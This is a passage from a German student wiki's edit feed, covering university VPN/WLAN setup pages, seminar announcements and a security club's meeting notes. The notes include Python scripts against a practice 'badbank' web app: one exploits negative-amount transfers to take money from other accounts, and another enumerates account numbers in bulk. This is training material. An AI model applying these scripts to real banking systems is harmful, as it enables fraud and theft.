	pairwise=TKIP CCMP&lt;br /&gt;
	ca_cert=&amp;quot;/etc/ssl/certs/Deutsche_Telekom_Root_CA_2.pem&amp;quot;&lt;br /&gt;
	identity=&amp;quot;RRZ_Kennung@uni-hamburg.de&amp;quot;&lt;br /&gt;
	password=&amp;quot;very_secret_password&amp;quot;&lt;br /&gt;
	anonymous_identity=&amp;quot;anonymous@uni-hamburg.de&amp;quot;&lt;br /&gt;
	phase2=&amp;quot;auth=PAP&amp;quot;&lt;br /&gt;
	id_str=&amp;quot;uni&amp;quot; # wichtig, weil das der interfacename ist&lt;br /&gt;
}&lt;br /&gt;
ODER&lt;br /&gt;
network={&lt;br /&gt;
	ssid=&amp;quot;UHH&amp;quot;&lt;br /&gt;
	key_mgmt=NONE&lt;br /&gt;
	id_str=&amp;quot;uni&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
/etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iface wlan0 inet manual&lt;br /&gt;
      wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf&lt;br /&gt;
&lt;br /&gt;
iface uni inet dhcp&lt;br /&gt;
      #vpn up and down&lt;br /&gt;
      up /usr/bin/pon stellingen&lt;br /&gt;
      down /usr/bin/poff stellingen&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Manuell lässt sich immer noch VPN mit &#039;&#039;sudo pon stellingen&#039;&#039; starten. Beendet tut man dies dann mit &#039;&#039;sudo poff stellingen&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Testen ==&lt;br /&gt;
&lt;br /&gt;
Zum Testen der Verbindung (bei Nutzung von außerhalb des Informatik-Netzes) kann zum Beispiel die Seite [http://www.informatik.uni-hamburg.de/Fachschaft/gprot/ [1]] abgerufen werden. Kann eine Gedaechnissprotokoll geladen werden arbeitet die Verbindung&lt;br /&gt;
&lt;br /&gt;
==Autoconnect Script==&lt;br /&gt;
Es gibt unter Linux Möglichkeiten sich bei bestehendem (UHH-) Netz direkt mit dem VPN zu befinden. Dazu sind folgende Änderungen am System notwendig.&lt;br /&gt;
&lt;br /&gt;
(Im folgenden stehen (sofern nicht anders vermekt) $VPN$ für den VPN-namen und $WIFI$ für den WLAN-Namen)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/etc/NetworkManager/system-connections/$VPN$&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die Zeile &amp;lt;tt&amp;gt;password-flags&amp;lt;/tt&amp;gt; muss von 1 auf 0 gesetzt werden. Falls die nicht existiert, muss sie unter dem Reiter &amp;lt;tt&amp;gt;vpn&amp;lt;/tt&amp;gt; angelegt werden.&lt;br /&gt;
In der selben Datei muss ein weiterer Reiter nämlich &amp;lt;tt&amp;gt;vpn-secrets&amp;lt;/tt&amp;gt; angelegt werden. Unter &amp;lt;tt&amp;gt;vpn-secrets&amp;lt;/tt&amp;gt; wird folgender eintrag angelegt.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;password=Your_Password&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beachte, dass das Passwort hier im Klartext gespeichert wird. Deswegen ist darauf zu achten, dass die Zugriffsrechte für diese Datei auf 0600 zu setzen sind! (Es sei denn, man möchte es der Welt mitteilen)&lt;br /&gt;
&lt;br /&gt;
Dann kommt als nächstes das eigentliche Skript. Dies ist anzulegen unter&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/etc/NetworkManager/dispatcher.d&amp;lt;/pre&amp;gt;&lt;br /&gt;
Hier muss man eine Datei anlegen nach dem Schema wie sie in dem Ordner vorliegt (\d\d-NAME). Die Zugriffsrechte sind auf 0755 zu setzen.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#! /bin/bash&lt;br /&gt;
&lt;br /&gt;
REQUIRED_CONNECTION_NAME=&amp;quot;$WIFI$&amp;quot; # namen beachten! Case-sensitive&lt;br /&gt;
VPN_CONNECTION_NAME=&amp;quot;$VPN$&amp;quot;&lt;br /&gt;
&lt;br /&gt;
sleep 1 #sleep ist nötig, warum? Keine Ahnung ;)&lt;br /&gt;
&lt;br /&gt;
activ_con=$(nmcli con status | grep &amp;quot;${REQUIRED_CONNECTION_NAME}&amp;quot;)&lt;br /&gt;
activ_vpn=$(nmcli con status | grep &amp;quot;${VPN_CONNECTION_NAME}&amp;quot;)&lt;br /&gt;
if [ &amp;quot;${activ_con}&amp;quot; -a ! &amp;quot;${activ_vpn}&amp;quot; -a &amp;quot;$2&amp;quot; = &amp;quot;up&amp;quot; ];&lt;br /&gt;
then&lt;br /&gt;
    nmcli con up id &amp;quot;${VPN_CONNECTION_NAME}&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Beim nächsten Verbinden der Netzwerkverbindung sollte sich der PC automatisch mit dem VPN verbinden.&lt;br /&gt;
&lt;br /&gt;
== Weblinks ==&lt;br /&gt;
&lt;br /&gt;
* [http://www.informatik.uni-hamburg.de/RZ/netz/notebook/vpn.shtml Nutzung von VPN-Diensten im Informatik-Netz]&lt;br /&gt;
* [http://pptpclient.sourceforge.net/howto-diagnosis.phtml#conventions Nützliches Howto zum Debuggen von PPTP Client Syslog-Infos]&lt;br /&gt;
* [http://www.cyberciti.biz/tips/howto-configure-ubuntu-fedora-linux-pptp-client.html Howto VPN on Fedora]&lt;br /&gt;
== Siehe Auch ==&lt;br /&gt;
&lt;br /&gt;
* [[Verbindungen]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Rechenzentrum]]&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-16&amp;diff=11276</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-16</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-16&amp;diff=11276"/>
		<updated>2010-11-17T15:41:34Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: kontoabfragescript&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.&lt;br /&gt;
&lt;br /&gt;
= Exploit =&lt;br /&gt;
&lt;br /&gt;
== Ein moeglicher Exploit ==&lt;br /&gt;
Haesslicher Quelltext:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import urllib&lt;br /&gt;
import cookielib&lt;br /&gt;
import re&lt;br /&gt;
from itertools import product&lt;br /&gt;
import string&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
data = urllib.urlencode({&lt;br /&gt;
    &#039;user&#039;: &#039;Jan&#039;,&lt;br /&gt;
    &#039;password&#039;: &#039;AZyNEBAeTC&#039;&lt;br /&gt;
})&lt;br /&gt;
request = urllib2.urlopen(url + &#039;/index.php&#039;, data)&lt;br /&gt;
login = request.read()&lt;br /&gt;
&lt;br /&gt;
def alpha_beta_liste():&lt;br /&gt;
    return [a+b for a, b in product(string.lowercase, string.lowercase)]&lt;br /&gt;
&lt;br /&gt;
def search(params):&lt;br /&gt;
    print params&lt;br /&gt;
    req = urllib2.urlopen(url + &#039;/index.php?page=search&#039;, params)&lt;br /&gt;
    suche = req.read()&lt;br /&gt;
    result = ktnre.findall(suche)&lt;br /&gt;
    if result:&lt;br /&gt;
        name_nummer_list.append(result)&lt;br /&gt;
    print name_nummer_list&lt;br /&gt;
&lt;br /&gt;
def transfer(kontonummer, betrag, tan_id, tan):&lt;br /&gt;
    params = urllib.urlencode({&#039;account&#039;: kontonummer, &#039;amount&#039;: betrag, &#039;tan_id&#039;: tan_id, &#039;tan&#039;: tan})&lt;br /&gt;
    req = urllib2.urlopen(url + &#039;/index.php?page=transfer&#039;, params)&lt;br /&gt;
    seite = req.read()&lt;br /&gt;
    if erfolg.findall(seite):&lt;br /&gt;
        print &amp;quot;Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen.&amp;quot; % (name, -betrag)&lt;br /&gt;
    else:&lt;br /&gt;
        print &amp;quot;Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden.&amp;quot; % name&lt;br /&gt;
    &lt;br /&gt;
alphabeta  = alpha_beta_liste()&lt;br /&gt;
ktnre = re.compile(&#039;&amp;lt;td&amp;gt;(.*)&amp;lt;/td&amp;gt;&#039;)&lt;br /&gt;
betrag = -10&lt;br /&gt;
tan_id = 500&lt;br /&gt;
tan = 700338&lt;br /&gt;
erfolg = re.compile(&amp;quot;&amp;lt;h2&amp;gt;Erfolgreiche Ueberweisung!&amp;lt;/h2&amp;gt;&amp;quot;)&lt;br /&gt;
name_nummer_list = []&lt;br /&gt;
&lt;br /&gt;
for name in alphabeta:&lt;br /&gt;
    print name&lt;br /&gt;
    params = urllib.urlencode({&#039;name&#039;: name})&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            search(params)&lt;br /&gt;
            break&lt;br /&gt;
        except urllib2.URLError, e:&lt;br /&gt;
            print &amp;quot;Fehler aufgetreten&amp;quot; + e&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
while True:&lt;br /&gt;
    for elem in name_nummer_list:&lt;br /&gt;
        name, kontonummer = elem&lt;br /&gt;
&lt;br /&gt;
        while True:&lt;br /&gt;
            try:&lt;br /&gt;
                transfer(kontonummer, betrag, tan_id, tan)&lt;br /&gt;
                break&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Schnelles auslesen der Kontonummern ueber gevent ==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
from gevent import monkey&lt;br /&gt;
monkey.patch_socket()&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import urllib&lt;br /&gt;
import cookielib&lt;br /&gt;
import string&lt;br /&gt;
import re&lt;br /&gt;
from itertools import product, chain&lt;br /&gt;
import gevent&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
&lt;br /&gt;
def login(user, password):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;user&#039;: user,&lt;br /&gt;
        &#039;password&#039;: password&lt;br /&gt;
    })&lt;br /&gt;
    urllib2.urlopen(url + &#039;/index.php&#039;, params)&lt;br /&gt;
&lt;br /&gt;
# Wir interessieren und nur fuer die Kontonummern&lt;br /&gt;
account_re = re.compile(&#039;&amp;lt;td&amp;gt;\w+&amp;lt;/td&amp;gt;\n&amp;lt;td&amp;gt;(\d+)&amp;lt;/td&amp;gt;&#039;)&lt;br /&gt;
def fetch_accounts(searchterm):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;name&#039;: searchterm&lt;br /&gt;
    })&lt;br /&gt;
    data = urllib2.urlopen(url + &#039;/index.php?page=search&#039;, params).read()&lt;br /&gt;
    return account_re.findall(data)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    login(&#039;Jan&#039;, &#039;AZyNEBAeTC&#039;)&lt;br /&gt;
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]&lt;br /&gt;
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]&lt;br /&gt;
    gevent.joinall(jobs, timeout=120)&lt;br /&gt;
    # Ergebnisse lesen und Liste flachklopfen&lt;br /&gt;
    accounts = list(chain(*[job.value for job in jobs]))&lt;br /&gt;
    print accounts&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zeitmessung (&amp;lt;math&amp;gt;26^2 + 1 = 677&amp;lt;/math&amp;gt; HTTP-Requests):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
real	0m19.563s&lt;br /&gt;
user	0m1.356s&lt;br /&gt;
sys	0m0.240s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ein kleines Script welches die übersicht über den Kontostand.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import urllib&lt;br /&gt;
import urllib2&lt;br /&gt;
import cookielib&lt;br /&gt;
import re&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
selfkn=&#039;43568&#039;&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
&lt;br /&gt;
def login(user, password):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;user&#039;: user,&lt;br /&gt;
        &#039;password&#039;: password&lt;br /&gt;
    })&lt;br /&gt;
    urllib2.urlopen(url + &#039;/index.php&#039;, params)&lt;br /&gt;
&lt;br /&gt;
def printKonto():&lt;br /&gt;
    text=urllib2.urlopen(url + &#039;/index.php&#039;).read()&lt;br /&gt;
    #print text&lt;br /&gt;
    print re.findall(&#039;hat (\d+) toxische Dollar.&amp;lt;/p&amp;gt;&#039;,text)[0]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &#039;Login....&#039;&lt;br /&gt;
login(&#039;xxx&#039;, &#039;xxx&#039;)&lt;br /&gt;
print &#039;kontoabfrage...&#039;&lt;br /&gt;
while True:&lt;br /&gt;
    printKonto()&lt;br /&gt;
    time.sleep(5)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=KunterBuntesSeminar&amp;diff=10802</id>
		<title>KunterBuntesSeminar</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=KunterBuntesSeminar&amp;diff=10802"/>
		<updated>2010-10-12T13:33:42Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: /* Kunter Bunte Seminare */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Ein KunterBuntesSeminar ist ein [[BuntesSeminar]], also eine selbstorganisierte Veranstaltung von Studis fuer Studis.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
Die Fachschaft braucht engagierte junge Studis die sich bspw. um das [[c.t.]] oder die [[OE]] kuemmern.&lt;br /&gt;
Das aktuelle Problem ist, dass insbesondere die Erstis direkt nach der OE Woche abspringen und sich nicht weiter um die Fachschaft, St. Ellingen und die Informatik kuemmern.&lt;br /&gt;
Wir moechten regelmaessig mit interessanten, selbstorganisierten Veranstaltungen auf uns aufmerksam machen und so unter den Leuten das Wir-Gefuehl staerken.&lt;br /&gt;
Dazu veranstalten wir ein woechentlich stattfindendes Seminar, welches für alle Studierende offen sein soll.&lt;br /&gt;
Zu Beginn wollen wir den Schwerpunkt auf einführende und studienberatende Themen legen um besonders erstsemestrige Studenten anzusprechen.&lt;br /&gt;
Ausserdem koennen so Inhalte vermittelt werden, die in der OE zu kurz gekommen sind oder die zu gunsten anderer Einheiten ausgelagert wurden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kunter Bunte Seminare ==&lt;br /&gt;
* [[KunterBuntesSeminar-WS08]]&lt;br /&gt;
* [[KunterBuntesSeminar-SS09]]&lt;br /&gt;
* [[KunterBuntesSeminar-WS09]]&lt;br /&gt;
* [[KunterBuntesSeminar-SS10]]&lt;br /&gt;
* [[KunterBuntesSeminar-WS10]]&lt;br /&gt;
&lt;br /&gt;
== Kontakt ==&lt;br /&gt;
Du hast Ideen, Vorschlaege oder Kritik? Sehr schoen!&lt;br /&gt;
Studierende, die sich verantwortlich fühlen, können per Mail unter kbs@inf erreicht werden.&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:KunterBuntesSeminar]]&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=KunterBuntesSeminar-SS10/CrackingBinaryFormats&amp;diff=9516</id>
		<title>KunterBuntesSeminar-SS10/CrackingBinaryFormats</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=KunterBuntesSeminar-SS10/CrackingBinaryFormats&amp;diff=9516"/>
		<updated>2010-06-08T15:50:14Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: /* Termin */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Das ist der neunte Termin des [[KunterBuntesSeminar-SS10|KunterBunten Seminars]] im Sommersemester 2010.&lt;br /&gt;
&lt;br /&gt;
= Abstract =&lt;br /&gt;
Leider ist es heutzutage noch oft die Regel, dass Hersteller von Hardware ihre Treiber und Software nur für Windows schreiben und publizieren. Möchte man die Hardware nun auch unter anderen Betriebssysteme nutzen, ist ein Weg das Schreiben äquivalenter Software. Allerdings ist dies nicht ganz einfach, da diese Hersteller in der Regel keinerlei Spezifikationen für Kommunikationsprotokolle oder Datenformate veröffentlichen.&lt;br /&gt;
&lt;br /&gt;
Am Beispiel einer GPS-Maus, welche Positionsdaten auf einen via USB auslesbaren internen Speicher ablegt, beschreibt der Vortrag die Vorgehensweise das Kommunikationsprotokoll zu entschlüsseln um den internen Speicher auszulesen und anschließend wie dieses Binärformat interpretiert werden kann um letztendlich Klartextinformationen zu erhalten.&lt;br /&gt;
&lt;br /&gt;
= Stichwörter =&lt;br /&gt;
&lt;br /&gt;
cracking, reverse engineering, binärformate&lt;br /&gt;
&lt;br /&gt;
= Vortragender =&lt;br /&gt;
&lt;br /&gt;
* Dennis Keitzel &amp;lt;6keitzel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Termin =&lt;br /&gt;
&lt;br /&gt;
* 22.06.2010&lt;br /&gt;
&lt;br /&gt;
= Material =&lt;br /&gt;
&lt;br /&gt;
* nach dem Vortrag&lt;br /&gt;
&lt;br /&gt;
= Weiterführende Links =&lt;br /&gt;
&lt;br /&gt;
* nach dem Vortrag&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:KunterBuntesSeminar]]&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=KunterBuntesSeminar-SS10/CrackingBinaryFormats&amp;diff=9515</id>
		<title>KunterBuntesSeminar-SS10/CrackingBinaryFormats</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=KunterBuntesSeminar-SS10/CrackingBinaryFormats&amp;diff=9515"/>
		<updated>2010-06-08T15:49:52Z</updated>

		<summary type="html">&lt;p&gt;134.100.4.59: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Das ist der neunte Termin des [[KunterBuntesSeminar-SS10|KunterBunten Seminars]] im Sommersemester 2010.&lt;br /&gt;
&lt;br /&gt;
= Abstract =&lt;br /&gt;
Leider ist es heutzutage noch oft die Regel, dass Hersteller von Hardware ihre Treiber und Software nur für Windows schreiben und publizieren. Möchte man die Hardware nun auch unter anderen Betriebssysteme nutzen, ist ein Weg das Schreiben äquivalenter Software. Allerdings ist dies nicht ganz einfach, da diese Hersteller in der Regel keinerlei Spezifikationen für Kommunikationsprotokolle oder Datenformate veröffentlichen.&lt;br /&gt;
&lt;br /&gt;
Am Beispiel einer GPS-Maus, welche Positionsdaten auf einen via USB auslesbaren internen Speicher ablegt, beschreibt der Vortrag die Vorgehensweise das Kommunikationsprotokoll zu entschlüsseln um den internen Speicher auszulesen und anschließend wie dieses Binärformat interpretiert werden kann um letztendlich Klartextinformationen zu erhalten.&lt;br /&gt;
&lt;br /&gt;
= Stichwörter =&lt;br /&gt;
&lt;br /&gt;
cracking, reverse engineering, binärformate&lt;br /&gt;
&lt;br /&gt;
= Vortragender =&lt;br /&gt;
&lt;br /&gt;
* Dennis Keitzel &amp;lt;6keitzel&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Termin =&lt;br /&gt;
&lt;br /&gt;
22.06.2010&lt;br /&gt;
&lt;br /&gt;
= Material =&lt;br /&gt;
&lt;br /&gt;
* nach dem Vortrag&lt;br /&gt;
&lt;br /&gt;
= Weiterführende Links =&lt;br /&gt;
&lt;br /&gt;
* nach dem Vortrag&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:KunterBuntesSeminar]]&lt;/div&gt;</summary>
		<author><name>134.100.4.59</name></author>
	</entry>
</feed>